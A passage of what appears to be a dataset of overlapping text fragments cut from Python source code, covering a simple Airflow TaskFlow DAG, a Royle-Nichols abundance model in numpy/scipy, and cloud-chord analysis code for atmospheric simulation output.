] |
[
"say_hello(): \"\"\"Print a hello message\"\"\" print(\"Hello, World!\") hello_task = say_hello()",
"as dag: @task(task_id=\"hello_message\") def say_hello(): \"\"\"Print a hello message\"\"\" print(\"Hello,",
"log = logging.getLogger(__name__) with DAG( dag_id='simple_python_taskflow_api', schedule_interval=None, start_date=datetime(2021, 1, 1),",
"API. \"\"\" import logging import time from datetime import datetime",
"World!\") hello_task = say_hello() @task(task_id=\"go_to_sleep\") def sleep_for_1(): \"\"\"Go to sleep\"\"\"",
"task log = logging.getLogger(__name__) with DAG( dag_id='simple_python_taskflow_api', schedule_interval=None, start_date=datetime(2021, 1,",
"\"\"\"Go to sleep\"\"\" time.sleep(1) sleeping_task = sleep_for_1() hello_task >> sleeping_task",
"@task(task_id=\"go_to_sleep\") def sleep_for_1(): \"\"\"Go to sleep\"\"\" time.sleep(1) sleeping_task = sleep_for_1()",
"a hello message\"\"\" print(\"Hello, World!\") hello_task = say_hello() @task(task_id=\"go_to_sleep\") def",
"def say_hello(): \"\"\"Print a hello message\"\"\" print(\"Hello, World!\") hello_task =",
"simple Python DAG using the Taskflow API. \"\"\" import logging",
"import logging import time from datetime import datetime from airflow",
"DAG from airflow.decorators import task log = logging.getLogger(__name__) with DAG(",
"the Taskflow API. \"\"\" import logging import time from datetime",
"Python DAG using the Taskflow API. \"\"\" import logging import",
"from airflow.decorators import task log = logging.getLogger(__name__) with DAG( dag_id='simple_python_taskflow_api',",
"= logging.getLogger(__name__) with DAG( dag_id='simple_python_taskflow_api', schedule_interval=None, start_date=datetime(2021, 1, 1), catchup=False,",
"schedule_interval=None, start_date=datetime(2021, 1, 1), catchup=False, tags=['airflow101'], ) as dag: @task(task_id=\"hello_message\")",
"tags=['airflow101'], ) as dag: @task(task_id=\"hello_message\") def say_hello(): \"\"\"Print a hello",
"start_date=datetime(2021, 1, 1), catchup=False, tags=['airflow101'], ) as dag: @task(task_id=\"hello_message\") def",
"Taskflow API. \"\"\" import logging import time from datetime import",
"hello message\"\"\" print(\"Hello, World!\") hello_task = say_hello() @task(task_id=\"go_to_sleep\") def sleep_for_1():",
"say_hello() @task(task_id=\"go_to_sleep\") def sleep_for_1(): \"\"\"Go to sleep\"\"\" time.sleep(1) sleeping_task =",
"1, 1), catchup=False, tags=['airflow101'], ) as dag: @task(task_id=\"hello_message\") def say_hello():",
"logging import time from datetime import datetime from airflow import",
") as dag: @task(task_id=\"hello_message\") def say_hello(): \"\"\"Print a hello message\"\"\"",
"\"\"\" import logging import time from datetime import datetime from",
"from datetime import datetime from airflow import DAG from airflow.decorators",
"catchup=False, tags=['airflow101'], ) as dag: @task(task_id=\"hello_message\") def say_hello(): \"\"\"Print a",
"hello_task = say_hello() @task(task_id=\"go_to_sleep\") def sleep_for_1(): \"\"\"Go to sleep\"\"\" time.sleep(1)",
"using the Taskflow API. \"\"\" import logging import time from",
"DAG( dag_id='simple_python_taskflow_api', schedule_interval=None, start_date=datetime(2021, 1, 1), catchup=False, tags=['airflow101'], ) as",
"DAG using the Taskflow API. \"\"\" import logging import time",
"import datetime from airflow import DAG from airflow.decorators import task",
"@task(task_id=\"hello_message\") def say_hello(): \"\"\"Print a hello message\"\"\" print(\"Hello, World!\") hello_task",
"datetime from airflow import DAG from airflow.decorators import task log",
"from airflow import DAG from airflow.decorators import task log =",
"import DAG from airflow.decorators import task log = logging.getLogger(__name__) with",
"airflow.decorators import task log = logging.getLogger(__name__) with DAG( dag_id='simple_python_taskflow_api', schedule_interval=None,",
"dag: @task(task_id=\"hello_message\") def say_hello(): \"\"\"Print a hello message\"\"\" print(\"Hello, World!\")",
"dag_id='simple_python_taskflow_api', schedule_interval=None, start_date=datetime(2021, 1, 1), catchup=False, tags=['airflow101'], ) as dag:",
"import task log = logging.getLogger(__name__) with DAG( dag_id='simple_python_taskflow_api', schedule_interval=None, start_date=datetime(2021,",
"1), catchup=False, tags=['airflow101'], ) as dag: @task(task_id=\"hello_message\") def say_hello(): \"\"\"Print",
"sleep_for_1(): \"\"\"Go to sleep\"\"\" time.sleep(1) sleeping_task = sleep_for_1() hello_task >>",
"time from datetime import datetime from airflow import DAG from",
"message\"\"\" print(\"Hello, World!\") hello_task = say_hello() @task(task_id=\"go_to_sleep\") def sleep_for_1(): \"\"\"Go",
"\"\"\" A simple Python DAG using the Taskflow API. \"\"\"",
"datetime import datetime from airflow import DAG from airflow.decorators import",
"= say_hello() @task(task_id=\"go_to_sleep\") def sleep_for_1(): \"\"\"Go to sleep\"\"\" time.sleep(1) sleeping_task",
"print(\"Hello, World!\") hello_task = say_hello() @task(task_id=\"go_to_sleep\") def sleep_for_1(): \"\"\"Go to",
"def sleep_for_1(): \"\"\"Go to sleep\"\"\" time.sleep(1) sleeping_task = sleep_for_1() hello_task",
"\"\"\"Print a hello message\"\"\" print(\"Hello, World!\") hello_task = say_hello() @task(task_id=\"go_to_sleep\")",
"logging.getLogger(__name__) with DAG( dag_id='simple_python_taskflow_api', schedule_interval=None, start_date=datetime(2021, 1, 1), catchup=False, tags=['airflow101'],",
"airflow import DAG from airflow.decorators import task log = logging.getLogger(__name__)",
"import time from datetime import datetime from airflow import DAG",
"with DAG( dag_id='simple_python_taskflow_api', schedule_interval=None, start_date=datetime(2021, 1, 1), catchup=False, tags=['airflow101'], )",
"A simple Python DAG using the Taskflow API. \"\"\" import"
] |
[
"qmat**kmat g = stats.binom.logpmf(ymat, 1, pmat).sum(axis=1) fg = f *",
"stats class RoyleNicholsModel(model.UnmarkedModel): def __init__(self, det_formula, abun_formula, data): self.response =",
"nll def simulate(self): N, J = self.response.y.shape lam = self.predict(\"abun\",",
"- self.predict(\"det\", interval=False).reshape(N, J) z = np.random.poisson(lam, N) zrep =",
"self.predict(\"abun\", interval=False) q = 1 - self.predict(\"det\", interval=False).reshape(N, J) z",
"np.random.poisson(lam, N) zrep = np.tile(z, (J,1)).transpose() p = 1 -",
"= 1 - q**zrep y = np.empty((N, J)) for i",
"as np from scipy import special, stats class RoyleNicholsModel(model.UnmarkedModel): def",
"model.Response(data.y) abun = model.Submodel(\"Abundance\", \"abun\", abun_formula, np.exp, data.site_covs) det =",
"= mod[\"det\"].predict(beta=beta_det, interval=False).reshape(N, J) q = 1 - r nll",
"interval=False).reshape(N, J) q = 1 - r nll = 0.0",
"det_formula, abun_formula, data): self.response = model.Response(data.y) abun = model.Submodel(\"Abundance\", \"abun\",",
"J)) for i in range(N): y[i,] = np.random.binomial(1, p[i,], J)",
"z = np.random.poisson(lam, N) zrep = np.tile(z, (J,1)).transpose() p =",
"p = 1 - q**zrep y = np.empty((N, J)) for",
"f * np.exp(g) nll -= np.log(fg.sum()) return nll def simulate(self):",
"\"abun\", abun_formula, np.exp, data.site_covs) det = model.Submodel(\"Detection\", \"det\", det_formula, special.expit,",
"y.shape lam = mod[\"abun\"].predict(beta=beta_abun, interval=False) r = mod[\"det\"].predict(beta=beta_det, interval=False).reshape(N, J)",
"nll -= np.log(fg.sum()) return nll def simulate(self): N, J =",
"= stats.poisson.pmf(kvals, lam[i]) ymat = np.tile(y[i,], (len(kvals), 1)) qmat =",
"special, stats class RoyleNicholsModel(model.UnmarkedModel): def __init__(self, det_formula, abun_formula, data): self.response",
"q**zrep y = np.empty((N, J)) for i in range(N): y[i,]",
"0.0 for i in range(N): kvals = range(int(mod.response.Kmin[i]), int(K)+1) f",
"= 0.0 for i in range(N): kvals = range(int(mod.response.Kmin[i]), int(K)+1)",
"zrep = np.tile(z, (J,1)).transpose() p = 1 - q**zrep y",
"mod, K): x = np.array(x) beta_abun = x[mod[\"abun\"].index] beta_det =",
"= np.empty((N, J)) for i in range(N): y[i,] = np.random.binomial(1,",
"np.tile(q[i,], (len(kvals), 1)) kmat = np.tile(kvals, (J, 1)).transpose() pmat =",
"1)).transpose() pmat = 1 - qmat**kmat g = stats.binom.logpmf(ymat, 1,",
"for i in range(N): y[i,] = np.random.binomial(1, p[i,], J) return",
"= x[mod[\"abun\"].index] beta_det = x[mod[\"det\"].index] y = mod.response.y N, J",
"N, J = self.response.y.shape lam = self.predict(\"abun\", interval=False) q =",
"N) zrep = np.tile(z, (J,1)).transpose() p = 1 - q**zrep",
". import model import numpy as np from scipy import",
"RoyleNicholsModel(model.UnmarkedModel): def __init__(self, det_formula, abun_formula, data): self.response = model.Response(data.y) abun",
"= x[mod[\"det\"].index] y = mod.response.y N, J = y.shape lam",
"np.tile(kvals, (J, 1)).transpose() pmat = 1 - qmat**kmat g =",
"kvals = range(int(mod.response.Kmin[i]), int(K)+1) f = stats.poisson.pmf(kvals, lam[i]) ymat =",
"(J,1)).transpose() p = 1 - q**zrep y = np.empty((N, J))",
"import numpy as np from scipy import special, stats class",
"for i in range(N): kvals = range(int(mod.response.Kmin[i]), int(K)+1) f =",
"__init__(self, det_formula, abun_formula, data): self.response = model.Response(data.y) abun = model.Submodel(\"Abundance\",",
"N, J = y.shape lam = mod[\"abun\"].predict(beta=beta_abun, interval=False) r =",
"- qmat**kmat g = stats.binom.logpmf(ymat, 1, pmat).sum(axis=1) fg = f",
"self.submodels = model.SubmodelDict(abun=abun, det=det) def negloglik(self, x, mod, K): x",
"1 - qmat**kmat g = stats.binom.logpmf(ymat, 1, pmat).sum(axis=1) fg =",
"det = model.Submodel(\"Detection\", \"det\", det_formula, special.expit, data.obs_covs) self.submodels = model.SubmodelDict(abun=abun,",
"range(int(mod.response.Kmin[i]), int(K)+1) f = stats.poisson.pmf(kvals, lam[i]) ymat = np.tile(y[i,], (len(kvals),",
"= np.tile(kvals, (J, 1)).transpose() pmat = 1 - qmat**kmat g",
"J = self.response.y.shape lam = self.predict(\"abun\", interval=False) q = 1",
"simulate(self): N, J = self.response.y.shape lam = self.predict(\"abun\", interval=False) q",
"mod.response.y N, J = y.shape lam = mod[\"abun\"].predict(beta=beta_abun, interval=False) r",
"data.obs_covs) self.submodels = model.SubmodelDict(abun=abun, det=det) def negloglik(self, x, mod, K):",
"np.exp, data.site_covs) det = model.Submodel(\"Detection\", \"det\", det_formula, special.expit, data.obs_covs) self.submodels",
"np.tile(z, (J,1)).transpose() p = 1 - q**zrep y = np.empty((N,",
"interval=False) q = 1 - self.predict(\"det\", interval=False).reshape(N, J) z =",
"= range(int(mod.response.Kmin[i]), int(K)+1) f = stats.poisson.pmf(kvals, lam[i]) ymat = np.tile(y[i,],",
"ymat = np.tile(y[i,], (len(kvals), 1)) qmat = np.tile(q[i,], (len(kvals), 1))",
"* np.exp(g) nll -= np.log(fg.sum()) return nll def simulate(self): N,",
"range(N): kvals = range(int(mod.response.Kmin[i]), int(K)+1) f = stats.poisson.pmf(kvals, lam[i]) ymat",
"from scipy import special, stats class RoyleNicholsModel(model.UnmarkedModel): def __init__(self, det_formula,",
"= y.shape lam = mod[\"abun\"].predict(beta=beta_abun, interval=False) r = mod[\"det\"].predict(beta=beta_det, interval=False).reshape(N,",
"= 1 - r nll = 0.0 for i in",
"def simulate(self): N, J = self.response.y.shape lam = self.predict(\"abun\", interval=False)",
"x[mod[\"det\"].index] y = mod.response.y N, J = y.shape lam =",
"y = mod.response.y N, J = y.shape lam = mod[\"abun\"].predict(beta=beta_abun,",
"x = np.array(x) beta_abun = x[mod[\"abun\"].index] beta_det = x[mod[\"det\"].index] y",
"1 - self.predict(\"det\", interval=False).reshape(N, J) z = np.random.poisson(lam, N) zrep",
"x[mod[\"abun\"].index] beta_det = x[mod[\"det\"].index] y = mod.response.y N, J =",
"\"det\", det_formula, special.expit, data.obs_covs) self.submodels = model.SubmodelDict(abun=abun, det=det) def negloglik(self,",
"- r nll = 0.0 for i in range(N): kvals",
"int(K)+1) f = stats.poisson.pmf(kvals, lam[i]) ymat = np.tile(y[i,], (len(kvals), 1))",
"self.predict(\"det\", interval=False).reshape(N, J) z = np.random.poisson(lam, N) zrep = np.tile(z,",
"np from scipy import special, stats class RoyleNicholsModel(model.UnmarkedModel): def __init__(self,",
"i in range(N): y[i,] = np.random.binomial(1, p[i,], J) return y",
"= mod[\"abun\"].predict(beta=beta_abun, interval=False) r = mod[\"det\"].predict(beta=beta_det, interval=False).reshape(N, J) q =",
"r = mod[\"det\"].predict(beta=beta_det, interval=False).reshape(N, J) q = 1 - r",
"np.tile(y[i,], (len(kvals), 1)) qmat = np.tile(q[i,], (len(kvals), 1)) kmat =",
"= model.Submodel(\"Abundance\", \"abun\", abun_formula, np.exp, data.site_covs) det = model.Submodel(\"Detection\", \"det\",",
"special.expit, data.obs_covs) self.submodels = model.SubmodelDict(abun=abun, det=det) def negloglik(self, x, mod,",
"def __init__(self, det_formula, abun_formula, data): self.response = model.Response(data.y) abun =",
"q = 1 - self.predict(\"det\", interval=False).reshape(N, J) z = np.random.poisson(lam,",
"q = 1 - r nll = 0.0 for i",
"= np.tile(z, (J,1)).transpose() p = 1 - q**zrep y =",
"beta_det = x[mod[\"det\"].index] y = mod.response.y N, J = y.shape",
"1 - r nll = 0.0 for i in range(N):",
"qmat = np.tile(q[i,], (len(kvals), 1)) kmat = np.tile(kvals, (J, 1)).transpose()",
"= 1 - self.predict(\"det\", interval=False).reshape(N, J) z = np.random.poisson(lam, N)",
"K): x = np.array(x) beta_abun = x[mod[\"abun\"].index] beta_det = x[mod[\"det\"].index]",
"y = np.empty((N, J)) for i in range(N): y[i,] =",
"= f * np.exp(g) nll -= np.log(fg.sum()) return nll def",
"= np.array(x) beta_abun = x[mod[\"abun\"].index] beta_det = x[mod[\"det\"].index] y =",
"J = y.shape lam = mod[\"abun\"].predict(beta=beta_abun, interval=False) r = mod[\"det\"].predict(beta=beta_det,",
"lam[i]) ymat = np.tile(y[i,], (len(kvals), 1)) qmat = np.tile(q[i,], (len(kvals),",
"kmat = np.tile(kvals, (J, 1)).transpose() pmat = 1 - qmat**kmat",
"= stats.binom.logpmf(ymat, 1, pmat).sum(axis=1) fg = f * np.exp(g) nll",
"pmat = 1 - qmat**kmat g = stats.binom.logpmf(ymat, 1, pmat).sum(axis=1)",
"def negloglik(self, x, mod, K): x = np.array(x) beta_abun =",
"x, mod, K): x = np.array(x) beta_abun = x[mod[\"abun\"].index] beta_det",
"class RoyleNicholsModel(model.UnmarkedModel): def __init__(self, det_formula, abun_formula, data): self.response = model.Response(data.y)",
"J) q = 1 - r nll = 0.0 for",
"-= np.log(fg.sum()) return nll def simulate(self): N, J = self.response.y.shape",
"= np.random.poisson(lam, N) zrep = np.tile(z, (J,1)).transpose() p = 1",
"abun_formula, data): self.response = model.Response(data.y) abun = model.Submodel(\"Abundance\", \"abun\", abun_formula,",
"= model.Submodel(\"Detection\", \"det\", det_formula, special.expit, data.obs_covs) self.submodels = model.SubmodelDict(abun=abun, det=det)",
"interval=False) r = mod[\"det\"].predict(beta=beta_det, interval=False).reshape(N, J) q = 1 -",
"beta_abun = x[mod[\"abun\"].index] beta_det = x[mod[\"det\"].index] y = mod.response.y N,",
"- q**zrep y = np.empty((N, J)) for i in range(N):",
"1)) qmat = np.tile(q[i,], (len(kvals), 1)) kmat = np.tile(kvals, (J,",
"= mod.response.y N, J = y.shape lam = mod[\"abun\"].predict(beta=beta_abun, interval=False)",
"lam = mod[\"abun\"].predict(beta=beta_abun, interval=False) r = mod[\"det\"].predict(beta=beta_det, interval=False).reshape(N, J) q",
"import special, stats class RoyleNicholsModel(model.UnmarkedModel): def __init__(self, det_formula, abun_formula, data):",
"abun_formula, np.exp, data.site_covs) det = model.Submodel(\"Detection\", \"det\", det_formula, special.expit, data.obs_covs)",
"(len(kvals), 1)) kmat = np.tile(kvals, (J, 1)).transpose() pmat = 1",
"stats.binom.logpmf(ymat, 1, pmat).sum(axis=1) fg = f * np.exp(g) nll -=",
"pmat).sum(axis=1) fg = f * np.exp(g) nll -= np.log(fg.sum()) return",
"model.Submodel(\"Detection\", \"det\", det_formula, special.expit, data.obs_covs) self.submodels = model.SubmodelDict(abun=abun, det=det) def",
"(J, 1)).transpose() pmat = 1 - qmat**kmat g = stats.binom.logpmf(ymat,",
"i in range(N): kvals = range(int(mod.response.Kmin[i]), int(K)+1) f = stats.poisson.pmf(kvals,",
"import model import numpy as np from scipy import special,",
"= np.tile(q[i,], (len(kvals), 1)) kmat = np.tile(kvals, (J, 1)).transpose() pmat",
"return nll def simulate(self): N, J = self.response.y.shape lam =",
"interval=False).reshape(N, J) z = np.random.poisson(lam, N) zrep = np.tile(z, (J,1)).transpose()",
"= model.SubmodelDict(abun=abun, det=det) def negloglik(self, x, mod, K): x =",
"abun = model.Submodel(\"Abundance\", \"abun\", abun_formula, np.exp, data.site_covs) det = model.Submodel(\"Detection\",",
"from . import model import numpy as np from scipy",
"np.exp(g) nll -= np.log(fg.sum()) return nll def simulate(self): N, J",
"f = stats.poisson.pmf(kvals, lam[i]) ymat = np.tile(y[i,], (len(kvals), 1)) qmat",
"= 1 - qmat**kmat g = stats.binom.logpmf(ymat, 1, pmat).sum(axis=1) fg",
"g = stats.binom.logpmf(ymat, 1, pmat).sum(axis=1) fg = f * np.exp(g)",
"scipy import special, stats class RoyleNicholsModel(model.UnmarkedModel): def __init__(self, det_formula, abun_formula,",
"= model.Response(data.y) abun = model.Submodel(\"Abundance\", \"abun\", abun_formula, np.exp, data.site_covs) det",
"model.Submodel(\"Abundance\", \"abun\", abun_formula, np.exp, data.site_covs) det = model.Submodel(\"Detection\", \"det\", det_formula,",
"np.empty((N, J)) for i in range(N): y[i,] = np.random.binomial(1, p[i,],",
"1 - q**zrep y = np.empty((N, J)) for i in",
"np.log(fg.sum()) return nll def simulate(self): N, J = self.response.y.shape lam",
"= self.response.y.shape lam = self.predict(\"abun\", interval=False) q = 1 -",
"mod[\"det\"].predict(beta=beta_det, interval=False).reshape(N, J) q = 1 - r nll =",
"model.SubmodelDict(abun=abun, det=det) def negloglik(self, x, mod, K): x = np.array(x)",
"stats.poisson.pmf(kvals, lam[i]) ymat = np.tile(y[i,], (len(kvals), 1)) qmat = np.tile(q[i,],",
"1, pmat).sum(axis=1) fg = f * np.exp(g) nll -= np.log(fg.sum())",
"(len(kvals), 1)) qmat = np.tile(q[i,], (len(kvals), 1)) kmat = np.tile(kvals,",
"det_formula, special.expit, data.obs_covs) self.submodels = model.SubmodelDict(abun=abun, det=det) def negloglik(self, x,",
"model import numpy as np from scipy import special, stats",
"data.site_covs) det = model.Submodel(\"Detection\", \"det\", det_formula, special.expit, data.obs_covs) self.submodels =",
"self.response.y.shape lam = self.predict(\"abun\", interval=False) q = 1 - self.predict(\"det\",",
"J) z = np.random.poisson(lam, N) zrep = np.tile(z, (J,1)).transpose() p",
"det=det) def negloglik(self, x, mod, K): x = np.array(x) beta_abun",
"r nll = 0.0 for i in range(N): kvals =",
"self.response = model.Response(data.y) abun = model.Submodel(\"Abundance\", \"abun\", abun_formula, np.exp, data.site_covs)",
"fg = f * np.exp(g) nll -= np.log(fg.sum()) return nll",
"data): self.response = model.Response(data.y) abun = model.Submodel(\"Abundance\", \"abun\", abun_formula, np.exp,",
"lam = self.predict(\"abun\", interval=False) q = 1 - self.predict(\"det\", interval=False).reshape(N,",
"numpy as np from scipy import special, stats class RoyleNicholsModel(model.UnmarkedModel):",
"mod[\"abun\"].predict(beta=beta_abun, interval=False) r = mod[\"det\"].predict(beta=beta_det, interval=False).reshape(N, J) q = 1",
"np.array(x) beta_abun = x[mod[\"abun\"].index] beta_det = x[mod[\"det\"].index] y = mod.response.y",
"= np.tile(y[i,], (len(kvals), 1)) qmat = np.tile(q[i,], (len(kvals), 1)) kmat",
"1)) kmat = np.tile(kvals, (J, 1)).transpose() pmat = 1 -",
"in range(N): kvals = range(int(mod.response.Kmin[i]), int(K)+1) f = stats.poisson.pmf(kvals, lam[i])",
"negloglik(self, x, mod, K): x = np.array(x) beta_abun = x[mod[\"abun\"].index]",
"= self.predict(\"abun\", interval=False) q = 1 - self.predict(\"det\", interval=False).reshape(N, J)",
"nll = 0.0 for i in range(N): kvals = range(int(mod.response.Kmin[i]),"
] |
[
"in filename_column: n_iter = min(n_iter,N_it_max) for it in range(N_it_min,n_iter): time1",
"(B * alpha) / (A - alpha) dewpoint = dewpoint",
"same everywhere I just use idx_beg_curtain as one. i=idx_beg_curtain d_z_tmp",
"cl_base[i] #Here the smoother comes into play: #We started with",
"idx_beg_curtain as one. i=idx_beg_curtain d_z_tmp = 1.0/z_idx_base[i] var_orig_2d = input_2d_field[:,idx_beg_curtain:idx_end_curtain]",
"and allocate the closest full time values to the profile",
"timestep: ',it) ql_3d = grab_3d_field(file_ql ,it,'ql') w_3d = grab_3d_field(file_w ,it,'w')",
"gaps allowed! t_min = 0 t_max = 1e9 cell_min =",
"= np.linspace(0,2*nx*ny*time_resolution,2*nx*ny)#+nx*ny*time_resolution*it #dt_1d = t_1d*0 #dt_1d[1:] = t_1d[1:]-t_1d[:-1] else: #If",
"= np.linspace(0+d_z_tmp/2,z_reg_orig_top,nz) #Have to add 0 to the z_reg_orig to",
"print(':') return #turned into a function #removed the possibility to",
"but I havent implemented star scaling for 1d data') sys.exit()",
"made cleaner later on if scale_flag>0 and data_dim_flag==3: if scale_flag==1:",
"correct vertical but low/original horizontal/time resolution #mesh_t_low_z_high_x,mesh_t_low_z_high_z = np.meshgrid(t_reg_orig,z_reg_mid) #seems",
"interpolation to get the right columns and asign them one",
"qt = file_prof['qt'][:,0] w2 = file_prof['w2'][:,:] nz_prof = w2.shape[1] var_prof",
"values dt_2 = (time_prof[1]-time_prof[0])/2 for tt in range(len(time_prof)): cbl_1d[abs(t_1d-time_prof[tt])<dt_2] =",
"= interp1d(z_reg_orig, var_orig_col, kind='nearest') try: var_reg_inter = f(z_reg_mid) except: print(z_idx_base[i])",
"# proc_chords is used for chords #proc_beard_regularize for generating beards",
"scale_flag=2, chord_times = 0, anomaly_flag = 0, N_it_max=1e9, N_it_min=0, size_bin_flag=0,",
"don't perfectly align var_2d[:,abs(t_1d-time_prof[tt])<dt_2] = (tmp_matrix.transpose() - tmp_vector).transpose() # =",
"var_curtain_dw_sum += var_curtain_tmp else: print('wtf how is this zero: ',np.mean(w_tmp),w_tmp)",
"#Regularizing the scaling profiles and interpolation them onto the regularized",
"data_dim_flag==3: n_iter =len(time_prof) #for col in filename_column: n_iter = min(n_iter,N_it_max)",
"25.0 #39.0625 #should be overwritten after the profile data is",
"the var at cloud base var_cl_base=var_2d[cl_base[cbl_cl_idx]-1,cbl_cl_idx] #If boundary scaling is",
"1 #First thing to do is calculate the chord base",
"to determine reference winds',ref_lvl ) #fake t vector, t_1d =",
"of thl and qt qt_2d[:,:] = (qt_2d.transpose() - qt_prof[it,:]).transpose() thl_2d[:,:]",
"np.linspace(125,-125+N_bins*250,N_bins) print('mid_bin_size',mid_bin_size) print('looking into date: ',date) if data_dim_flag==1: filename_column =",
"thl_prof[tt,:] #because the vectors don't perfectly align thl_2d[:,abs(t_1d-time_prof[tt])<dt_2] = (tmp_matrix.transpose()",
"',len(cbl_cl_idx)) #Does it matter if I turn these from lists",
"regularized filename_var = directory_input+date+'/'+reg_var+'.nc' file_var = Dataset(filename_var,read='r') filename_prof=glob.glob(directory_input+date+'/testbed?default?0*.nc')[0] #filename_prof=directory_input+date+'/testbed.default.0000000.nc' if",
"lists to arrays? Fuck it, will do it anyway chord_timesteps=np.asarray(chord_timesteps)",
"cbl_cl_binary[cbl_cl_idx]=1 t_cbl_cl=t_1d[cbl_cl_idx] ### Clustering 1D #Now we simply go through",
"chord_thl_star = [] chord_qt_star = [] chord_thl = [] chord_thl_25",
"smoother comes into play: #We started with a simple 5",
"= file_prof['qt'][:,0] w2 = file_prof['w2'][:,:] thl_prof = file_prof['thl'][:,:] qt_prof =",
"t_1d = np.linspace(0,2*nx*ny*time_resolution,2*nx*ny)#+nx*ny*time_resolution*it else: #If no clouds are present we",
"3 = 3D snapshot # time_slice_curtain: 0 only puts out",
"np.asmatrix(qt_pressure/sat_qv)[0] rel_hum = qt_pressure/sat_qv #Dewpoint A = 17.27 B =",
"qt_3d = grab_3d_field(file_qt ,it,'qt') thl_3d = grab_3d_field(file_thl ,it,'thl') #Here we",
"= ql_2d.transpose() t_1d = file_col.variables['time'][:] u_2d = file_col.variables['u'][:] u_2d =",
"file_prof['u'][it,:] v_ref_prof = file_prof['v'][it,:] V_ref_prof = np.sqrt(u_ref_prof**2+v_ref_prof**2) scaling_factor_x_prof = u_ref_prof/V_ref_prof",
"thlflux_s_1d[abs(t_1d-time_prof[tt])<dt_2] = total_surf_thl_flux[tt] #to get anomalies we subtract the closet",
"which gets rid of 1D pre interpolation #I originally used",
"same as the next index in total, if so the",
"= t_1d*0 qtflux_s_1d = t_1d*0 thlflux_s_1d = t_1d*0 #Now we",
"by their chord_lenth. Currently using 8 bins of 250 meters",
"= 0 n_curtain_dw = 0 #for col in filename_column: n_iter",
"I will then convert to arrays in the end before",
"np.max(ql_2d[:,t])>ql_min : cl_base[t]=np.argmax(ql_2d[:,t]>ql_min) else: cl_base[t]=10000000 cl_base=cl_base.astype(int) #Now find c base",
"print('iterating through step ',it,'which contains ',len(cbl_cl_idx),'cloudy columns') while t_cloudy_idx <",
"for testing things quickly # size_bin_flag bins the beards by",
"np.transpose(qt_3d, (0, 2, 1)) thl_3d = np.transpose(thl_3d, (0, 2, 1))",
"= input_2d_field[:,i] #Regularizing the z axes so that cloud base",
"by one to w_x_low_z_high #f = interp1d(z_reg_orig, var_orig_col, kind='next') f",
"= w_star if reg_var=='qt': surf_flux = np.mean(qtflux_s_1d[idx_beg_chord:idx_end_chord]) boundary_scaling = surf_flux/w_star",
"############################################################################################################################## #switching to y direction if half of max chords",
"= directory_output+ reg_var+save_string_base save_string = save_string+'.npz' np.savez(save_string,var_pdf=var_pdf,range_var=range_var) print('saved pdf with",
"time'), var_curtain_dw_sum.transpose()/n_curtain_dw)}, coords={'regularized time':t_reg_mid, 'regularized height':z_reg_mid}) xr_dataset[reg_var].attrs['n']=n_curtain xr_dataset[reg_var+'_up'].attrs['n']=n_curtain_up xr_dataset[reg_var+'_dw'].attrs['n']=n_curtain_dw xr_dataset.attrs",
"in range(nt): if np.max(ql_2d[:,t])>ql_min : cl_base[t]=np.argmax(ql_2d[:,t]>ql_min) else: cl_base[t]=10000000 cl_base=cl_base.astype(int) #Now",
"= 'data_curtains/', data_dim_flag=1, base_smoothing_flag=2, plot_curtains_flag = 0, base_percentile = 25,",
"#I added an additional constraint that each chord must include",
"are right next to each other they are always counted",
"chord_qt_star.append(qt_star ) chord_w_base.append(np.mean(w_2d[cl_base[ch_idx_l],ch_idx_l])) chord_w.append(np.mean(w_2d[cl_base[ch_idx_l]-1,ch_idx_l])) chord_thl.append(np.mean(thl_2d[cl_base[ch_idx_l]-1,ch_idx_l])) #get a fourth and 3/4",
"cl_base[t]=np.argmax(ql_2d[:,t]>ql_min) else: cl_base[t]=10000000 cl_base=cl_base.astype(int) #Now find c base lower than",
"t_reg_orig = t_reg_orig/(time_end_chord-time_beg_chord) #Now we calculate the new regularized grid",
"by n it comes out fin #We assume here that",
"if np.mean(w_tmp)>0.: n_curtain_bin_up[bin_idx] += 1 var_curtain_bin_up_sum[bin_idx,:,:] += var_curtain_tmp elif np.mean(w_tmp)<0.:",
"#Now we do the same thing with the transposed field,",
"as ttiimmee from scipy.interpolate import interp1d from scipy.interpolate import interp2d",
"netCDF4 import Dataset import os import time as ttiimmee from",
"print(':') print(':') print(':') print(':') return #turned into a function #removed",
"qt_2d.transpose() u_2d = file_col.variables['u'][:] u_2d = u_2d.transpose() v_2d = file_col.variables['v'][:]",
"time vector w_2d = np.array(w_3d.reshape((nz,nx*ny))) ql_2d = np.array(ql_3d.reshape((nz,nx*ny))) var_2d =",
"which is what is assigned when no clouds are present",
"and chord_z_min > 4: if t_chord_end-t_chord_begin>cell_min-1: n_chords += 1 #chord_idx_list.append(list(cbl_cl_idx[t_chord_begin:t_cloudy_idx]))",
"boundary_scaling = surf_flux/w_star var_cl_base = var_cl_base/boundary_scaling #Calculating the histogram, and",
"all properties settings_dict = { 'reg_var': reg_var, 'date_str':date_str, 'directory_input':directory_input, 'data_dim_flag':data_dim_flag,",
"var_curtain_up_sum.transpose()/n_curtain_up), reg_var+'_dw':(('regularized height', 'regularized time'), var_curtain_dw_sum.transpose()/n_curtain_dw)}, coords={'regularized time':t_reg_mid, 'regularized height':z_reg_mid})",
"throw up an error for the mean time. if data_dim_flag==1:",
"= np.mean(bflux_s_1d) base_height = z_idx_base_default*dz w_star=(base_height*surf_flux)**(1/3) if reg_var=='w': boundary_scaling =",
"memory though del w_3d del ql_3d del var_3d gc.collect() #Switching",
"each chord must include at least cell_min cells, because it",
"1 but now using a profile # # base_smoothing_flag: 0",
"= (np.abs(t_1d - (time_end_chord+curtain_extra*(time_end_chord-time_beg_chord)))).argmin()+2 idx_end_curtain = min(idx_end_curtain,nt-1) time_beg_curtain = t_1d[idx_beg_curtain]",
"for tt in range(len(time_prof)): #globals().update(locals()) tmp_matrix = thl_2d[:,abs(t_1d-time_prof[tt])<dt_2] tmp_vector =",
"before #I added 2 cells buffer at the beginning and",
"iterables, 3D timesteps or column files. Used for testing things",
"#Minimal number of cells needed per chord ql_min = 1e-5",
"as pd import gc import glob import xarray as xr",
"everywhere bflux_s_1d = t_1d*0 + total_surf_buoy_flux[it] qtflux_s_1d = t_1d*0 +",
"is needed for scale_flag # scale_flag: If 0, nothing, if",
"of cells needed per curtain #value used to determine existence",
"t_1d[idx_end_curtain] chord_cells = t_chord_end-t_chord_begin curtain_cells = idx_end_curtain-idx_beg_curtain #If curtain has",
"so that cloud base is at 1, since z_idx_base is",
"',dz) time_prof = file_prof['time'][:] cbl_1d_prof = time_prof*0.0 #Hack together the",
"same thing with the transposed field, use to be an",
